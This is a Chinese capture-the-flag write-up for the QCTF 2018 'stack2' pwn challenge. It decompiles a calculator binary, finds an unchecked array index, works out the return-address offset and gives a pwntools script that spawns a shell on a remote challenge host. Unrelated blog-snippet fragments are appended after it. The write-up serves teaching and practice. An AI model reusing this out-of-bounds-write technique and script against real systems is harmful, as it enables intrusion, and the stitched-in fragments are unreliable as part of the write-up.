技术标签: CTF 4th-QCTF-2018 writeup CTF pwn stack2
题目描述:
暂无
分析思路:
1、首先拿到ELF文件,我们首先查看一下详细信息:
tucker@ubuntu:~/pwn$ file stack2
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
tucker@ubuntu:~/pwn$ checksec stack2
[*] '/home/tucker/pwn/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2、我们使用IDA看一下,main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 99 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
我们看到是一个简单地程序,获取输入的值,并进行计算平均值,同时也可以修改之前输入的数组。等等,此处似乎有一个漏洞,这里的修改数值,没有检查边界条件,使得我们可以修改栈中的数据,我们简单实验一下:
tucker@ubuntu:~/pwn$ ./stack2
***********************************************************
* An easy calc *
*Give me your numbers and I will return to you an average *
*(0 <= x < 256) *
***********************************************************
How many numbers you have:
1
Give me your numbers
2
1. show numbers
2. add number
3. change number
4. get average
5. exit
3
which number to change:
33
new number:
4
1. show numbers
2. add number
3. change number
4. get average
5. exit
4
average is 2.00
1. show numbers
2. add number
3. change number
4. get average
5. exit
5
可以看到,当我们要修改的值得位置超过输入的边界时 ,仍可以修改,据此,我们可以修改内存中函数的EIP,从而劫持IP,转去执行我们需要的代码。
3、同时在IDA中我们使用shift+f12,可以看到有一个“/bin/bash"字符串,我们追踪发现了一个函数:
.text:0804859B public hackhere
.text:0804859B hackhere proc near
.text:0804859B
.text:0804859B var_C = dword ptr -0Ch
.text:0804859B
.text:0804859B ; __unwind {
.text:0804859B push ebp
.text:0804859C mov ebp, esp
.text:0804859E sub esp, 18h
.text:080485A1 mov eax, large gs:14h
.text:080485A7 mov [ebp+var_C], eax
.text:080485AA xor eax, eax
.text:080485AC sub esp, 0Ch
.text:080485AF push offset command ; "/bin/bash"
.text:080485B4 call _system
.text:080485B9 add esp, 10h
.text:080485BC nop
.text:080485BD mov edx, [ebp+var_C]
.text:080485C0 xor edx, large gs:14h
.text:080485C7 jz short locret_80485CE
.text:080485C9 call ___stack_chk_fail
.text:080485CE ; ---------------------------------------------------------------------------
.text:080485CE
.text:080485CE locret_80485CE: ; CODE XREF: hackhere+2C↑j
.text:080485CE leave
.text:080485CF retn
.text:080485CF ; } // starts at 804859B
.text:080485CF hackhere endp
这个函数执行一条语句:system("/bin/bash"),因此我们可以想到在上面使用change number 的功能修改栈中的数据,控制程序跳转到hackhere函数。
4、首先我们需要知道数组v13与rip的偏移地址,(注意此处v13的位置为ebp-0x70,但是eip的位置不是在0x70+0x4的位置,因为有canary的保护,需要动态调试进行确定。)首先我们在main函数的开始下一个断点,在retn的地方下一个断点,运行程序,得到起始的ebp为0xFFAE1358,运行到retn,栈顶的位置为:0xFFAE136C,由此得到v13的地址为:0xFFAE1358-0x70 = 0xffae12e8,偏移量为0xFFAE136C - 0xffae12e8 = 0x84。
5、同时我们按照上面的思路,发现并不能正确的得到shell,原来是字符串/bin/bash的问题,由于测试环境的原因,我们需要使用/bin/sh,我们可以通过上面的办法向栈中写入/bin/sh字符串,但是发现每次栈的地址都会变,只得作罢。
因此我们可以利用原来的字符串/bin.bash的第7个字节开始的地址,作为system的参数,将system函数的地址写到栈中覆盖eip。
由此我们可以编写exp:
# stack2_1.py
from pwn import *
# a = process('./stack2')
a = remote("111.198.29.45", "56058")
system_addr = 0x8048450
# off_addr = 0x9c
# a.send('1\n1\n3\n156\n80\n3\n157\n132\n3\n158\n4\n3\n159\n8\n5\n')
# a.interactive()
a.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8')
a.sendline('3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')
a.sendline('5')
a.interactive()
文章浏览阅读744次。日常生活和工作中,文档格式转换应该是很常见的需求。面对这样的需求,我们技术男有没有属于自己的好方法呢?答案是有的,它就是 onlyoffice,今天就来介绍如何利用 onlyoffice 实现文档格式转换。官方的 onlyoffice 版本在 4.2 之前使用的请求是 Get 类型,之后的版本使用的请求类型是 Post,这一点需要我们特别注意。下面的表格是关于格式转换 API 参数的详细介绍。属性参数描述数据类型存在类型Async定义转换请求类型:异步与否。支持的值:truefalse。_onlyoffice转换pdf
文章浏览阅读1.4w次,点赞3次,收藏16次。什么是PI?PI就是圆周率π,PI是弧度制的π,也就是180°所以,Math.PI = 3.14 = 180°ps,PI是一个浮小数Math.PI/5*4分别是什么意思?let dig = Math.PI/5*4Math.PI/5,表示角度平分为36° 每个顶点到与中心连线之间的夹角α=(2π)/n = Math.PI / n * 2 那么相间的两个顶点到与中心连线之间的夹..._math.pi
文章浏览阅读1.1k次。1. 解压 MySQL ZIP压缩包 到 安装路径 D:\xapp\apps\,并将解压出来的文件夹重命名为 mysql。2.将MySQL的可执行文件目录 D:\xapp\apps\mysql\bin 加入系统环境变量,然后重启计算机。6.启动Windows命令行 键入 mysql -u root -p ,然后两次回车,进入MySQL控制台。如果通过配置文件 将 数据库目录设置到了别处,则需要将 mysql程序根目录的 data目录中。的内容拷贝到新的目录中,否则MySQL无法启动。
文章浏览阅读1k次。一.Bootstrap简介1.什么是BootstrapBootstrap 是全球最受欢迎的前端组件库,用于开发响应式布局、移动设备优先的 WEB 项目。Bootstrap4 目前是 Bootstrap 的最新版本,是一套用于 HTML、CSS 和 JS 开发的开源工具集。2.Bootstrap的来源Bootstrap是美国Twitter公司的设计师Mark Otto和Jacob Thornton合作基于HTML、CSS、JavaScript开发的简洁、直观、强悍的前端开发框架,使得 W._bootstrap4的好处
文章浏览阅读264次。208 . 实现 Trie (前缀树)题目:实现一个 Trie (前缀树),包含 insert, search, 和 startsWith 这三个操作。示例:Trie trie = new Trie();trie.insert(“apple”);trie.search(“apple”); // 返回 truetrie.search(“app”); // 返回 falsetrie.startsWith(“app”); // 返回 truetrie.insert(“app”);tr
文章浏览阅读6.6k次,点赞6次,收藏12次。(对于自然数N的阶乘,当N比较小时,可以32位整数int范围内准确表示 。例如12!=479001600<2147483647(231-1) 而20!=2432902008176640000<9223372036854775807(263-1)可以在64位整数long long int范围内准确表示 ,但是N取值更大时,N!只能使用浮点数计算,从而产生误差 )题目描述已知正整数N(N..._阶乘和高精度
文章浏览阅读633次。数组的定义数组是相同类型数据的有序集合。数组描述的是相同类型的若干个数据,按照一定的先后次序排列组合而成。其中,每一个数据称作一个元素,每个元素可以通过一个索引(下标)来访问它们。数组的三个基本特点:1. 长度是确定的。数组一旦被创建,它的大小就是不可以改变的。2. 其元素必须是相同类型,不允许出现混合类型。3. 数组类型可以是任何数据类型,包括基本类型和引用类型。数组变量属引用类型,数组也可以看..._java file 数组
文章浏览阅读449次。实现客户姓名录入 package kj;public class kehu { String []names=new String[10]; public void addName(String name){ for(int i=0;i
文章浏览阅读722次。配置 路由 报错 'Switch' is not exported from 'react-router'.npm uninstall react-router-domnpm install [email protected]
文章浏览阅读1.1k次,点赞2次,收藏7次。ID:399899量化交易中,首先要弄好的就是选股。然后在才是买卖策略的制定。不同类型的策略,选股思路也不相同。俗话说得好,不管黑猫白猫,抓到老鼠的就是好猫。一个好的选股策略,往往在量化中是起较为关键的作用的。要实现程序化选股的话,数据又是一个前提。要有数据才能去实现编写程序。数据来源有很多,可以去爬取,也可以去股票交易网站下载。当然也有一些接口可以提供数据。常见的接口有tushare、baostock、akshare在这里我以一个简单的选股案例,为大家介绍一下使用tushare接口使用tush_tushare 选股
文章浏览阅读3.7k次,点赞2次,收藏10次。以下是测试项目目录一、配置modelconf/casbin_rbac_model.conf# 请求[request_definition]r = sub,obj,act# sub ——> 想要访问资源的用户角色(Subject)——请求实体# obj ——> 访问的资源(Object)# act ——> 访问的方法(Action: get、post...)# 策略(.csv文件p的格式,定义的每一行为policy rule;p,p2为policy rule的名字。)_gin 的权限校验
文章浏览阅读319次。例如,一个团队有20个人,其中有2个员工在共同做A业务,3个员工在共同做B业务,5个员工在共同做C业务,剩下10个员工在共同做D业务,那么可以基于业务相关性将这20个员工分成A业务研讨组、B业务研讨组、C业务研讨组和D业务研讨组,这样,在步骤2目标众筹时,就以A、B、C、D 4个研讨小组为单位,邀请其输出3~5个团队OKR,然后团队主管再基于所有小组贡献的团队OKR进行投票表决,形成团队的OKR。通过这种方式,大大增强了团队成员对团队目标的共识程度,团队目标真正变成了大家共同的目标,而不再只是主管的目标。_运营okr的制定与实施